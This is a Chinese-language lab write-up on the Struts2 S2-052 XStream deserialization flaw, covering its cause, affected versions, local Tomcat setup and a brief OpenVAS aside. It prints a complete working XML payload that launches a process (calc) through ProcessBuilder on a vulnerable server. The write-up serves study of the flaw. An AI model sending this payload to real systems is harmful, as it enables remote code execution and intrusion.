一、 1.strust2
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互
2.strust2-052漏洞
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击
二、 1.struts2-052漏洞产生的原因
XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证
2.存在这个漏洞的会导致的后果
REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞
三、 漏洞的重现和利用
1. 在Windows中进行实验
Java以前就配置好了,步骤是安装javajdk,再配置JAVA_HOME CLASS_PATH PATH的路径
2. 下载tomcat并配置
下载tomcat服务器,解压放在G盘下,添加三个环境变量CATALINA_HOME CATALINA_BASE PATH路径,在cmd中启动startup,我在配置PATH路径的时候把之前的path路径冲掉了,又重新添加了会来
3. 下载存在漏洞版本的struts2其中Version2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33都存在漏洞,我下载的是2.5.12版本的,将struts2放置在tomcat访问的根目录下,访问成功如下图
4. 攻击payload是在网站上查到的
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<valueclass="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSourceclass="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipherclass="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIteratorclass="javax.imageio.spi.FilterIterator">
<iterclass="javax.imageio.spi.FilterIterator">
<iterclass="java.util.Collections$EmptyIterator"/>
<nextclass="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filterclass="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<nextclass="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<inputclass="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>
</entry><entry>
<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
5. 在burpsuite中配置浏览器的代理地址和端口进行拦截浏览器的服务请求
6. 如果网站中存在这样的漏洞,攻击者可以将实现相应功能的payload放在xml的信息体中直接上传,而且网站对该信息不进行检查,所以攻击者有很大自由去攻击目标主机
四、 nvt是openvas的漏洞数据库,
每一个扫描的插件扫描的端口是固定的,当扫描任务中要扫描哪些端口就用这些端口匹配的插件去扫描,所以是扫描漏洞的执行者
仅实验 谨实验